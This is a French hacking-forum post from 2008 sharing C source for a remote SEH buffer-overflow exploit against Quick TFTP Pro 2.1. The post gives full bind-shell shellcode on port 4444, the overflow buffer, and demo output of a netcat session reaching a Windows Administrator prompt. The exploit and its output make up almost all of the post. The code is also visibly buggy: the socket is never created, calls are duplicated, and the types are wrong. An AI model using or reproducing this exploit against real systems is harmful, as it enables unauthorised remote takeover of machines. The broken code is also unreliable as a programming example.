[C] Quick TFTP Pro 2.1 SEH Overflow (0day)

Moderator: Mod

[C] Quick TFTP Pro 2.1 SEH Overflow (0day)

Postby kmkz » Mon Aug 04, 2008 7:14 pm

Plop!

Un petit exploit histoire de m'entrainer un peu en C (je débute ce langage depuis peu ).

L'exploit initial se trouve ici : http://www.offensive-security.com/0day/quick-tftp-poc.py.txt
le but étant ici de recoder cet exploit en C tout en y apportant quelques modifs (et aprés l'avoir tested bien entendu ).

Il exploite un Overflow port 69 ,a été testé sur Windows sp2 et injecte un Shellcode offrant un Bind Shell .
Que dire de plus ...

A part que je le post dans un but purement instructif , pour partager une source parmis tant d'autre , sans aucune prétention venant d'un mec qui se lance dans le C mais qui ne le fait pas pour garder ses codes jalousement et préfère les faires partagés aussi moche soient-ils ( je m'améliorerai , promis :P ).

And now , place a la source tant attendue \o/ (pff..) :oops:

[code:1:e8f30561b0]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define port 69

/*

------------------------------------------
Remote Buffer Overflow
Tested on Win.XP sp2 Server
Exploit coded by kmkZ
Just For fun and learn
Do not use this exploit to Destroy
But to teach and reassure

,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------' by kmkZ 1/08/08

------------------------------------------

¤ Demonstration & Usage of this Exploit ¤

* ~ Enter Target ~ *
www.target.com


[*] Using Socket : 123456789

[*] Connecting ...
[+]Success!

[*] Sending Exploit......
[+] Exploit Successful !

[*] BindShell on port 4444

~ # nc -v 172.16.167.130 4444
(UNKNOWN) [172.16.167.130] 4444 (krb524) open
Microsoft Windows XP [Version 5.1.2600]
C) Copyright 1985-2001 Microsoft Corp.

C:Documents and SettingsAdministrator>




/* ******************************************************
************* Fondtions Prototypes *********************
*********************************************************/


void presentation();
void demo();


/* ******************************************************
********************** Main ****************************
*********************************************************/


int main(int argc, char **argv[]) /* le main */
{
presentation();

char *Cible[150]; //Buffer de 150 (ça devrait suffir)

printf(" * ~ Enter Target ~ * \n");
scanf("%s",&Cible);

if(Cible == NULL )
{
(" [-] Please enter remotehost\n");

demo();

return -1;
}



/* ******************************************************
******* Initialisation-Sockets *************************
*********************************************************/

struct sockaddr_in to;
struct hostent *toinfo;


to.sin_family = AF_INET;
to.sin_addr.s_addr = inet_addr(Cible);
to.sin_port = htons(port);

/* ******************************************************
************* Connect on remote host *******************
*********************************************************/

int s =0;

connect(s,(struct sockaddr *)&to,sizeof(struct sockaddr_in));

if(connect(s,(struct sockaddr *)&to,sizeof(struct sockaddr_in)) == -1)
{
printf(" [-] Connection : Failed \n [~] Please verify the FTP server properties / Quick TFTP Pro 2.1 / \n and try again ;-) \n\n");

printf(" /** ¤ Demonstration & Usage of this Exploit ¤ **/\n");


demo();
presentation();

return -1;
}

/* ******************************************************
**************** BoF Exploit ***************************
*********************************************************/


char shellcode="\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b"
"\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01"
"\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07"
"\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f"
"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b"
"\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff"
"\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0"
"\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08"
"\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53"
"\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x11\x5c\x66"
"\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51"
"\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x55\xff\xd0"
"\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff\xd0\x93"
"\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66"
"\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38"
"\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57"
"\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9"
"\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83"
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6"
"\xff\xd0"; /* Bind Shell sur port 4444 */


char buffer[3000];//pas un buffer de tapz la hein ;-)

sprintf(buffer,"\x00\x02rootme\0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xeb\x08\x90\x90\x58\x14\xd3\x74\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90",shellcode);




printf(" [*] Using Socket : %d\n [*] Connecting ...\n [+]Success!\n",connect);


/* ******************************************************
************** Send Shellcode to Remote Host ***********
*********************************************************/

send(s,buffer,3000,0);
if (send(s,buffer,3000,0)== -1 )
{
printf(" [-] Exploit Failed \n [~] Please verify the FTP server properties / Quick TFTP Pro 2.1 / \n and try again ;-) \n\n");
presentation();
return -1;
}
printf(" [*] Sending Exploit......\n [+] Exploit Successful ! \n [*] BindShell on port 4444\n\n");
close(s);

return 0;
}
/* ******************************************************
********************** Main End ************************
*********************************************************/












/* ******************************************************
************** Fonctions ******************************
*********************************************************/

void presentation()
{
printf("\n\n-------------\n /* - Quick TFTP Pro 2.1 SEH Overflow (0day) - */ \n-------------\n\n\n");

printf("[~] Quick TFTP Pro 2.1 Remote BoF \nCoded by kmkZ\n\n");
printf("<--------------------------------------------->\n");
printf("¤ Bug Found By :Mati Aharoni \n");
printf("¤ muts..at..offensive-security.com\n");
printf(" [~] Original Source Code here :\n-- http://www.offensive-security.com/0day/quick-tftp-poc.py.txt\n");
printf("<--------------------------------------------->\n\n");

}


void demo()
{
printf("* ~ Enter Target ~ *\n");
printf("www.target.com\n");
printf("[*] Using Socket : 123456789\n");
printf("[*] Connecting ...\n");
printf("[+]Success! \n");
printf("[*] Sending Exploit......\n");
printf("[+] Exploit Successful ! \n");
printf("[*] BindShell on port 4444\n");

printf(" ~ # nc -v 172.16.167.130 4444\n");
printf("(UNKNOWN) [172.16.167.130] 4444 (krb524) open\n");
printf("Microsoft Windows XP [Version 5.1.2600]\n");
printf("C) Copyright 1985-2001 Microsoft Corp.\n\n");
printf(" C:\Documents and Settings\Administrator> \n\n\n");
printf(" [-] Exploit : Failed \n [~] Please verify the FTP server properties / Quick TFTP Pro 2.1 / \n And/or Exploit Usage ..and try again ;-) \n\n");


}
/* ******************************************************
************** Close Fonctions ***********************
*********************************************************/
[/code:1:e8f30561b0]
User avatar
kmkz
Projets
 
Posts: 120
Joined: Wed Feb 06, 2008 1:25 pm
Location: Carcassonne, Toulouse

Return to Sécurité Intrusion

Who is online

Users browsing this forum: No registered users and 1 guest

cron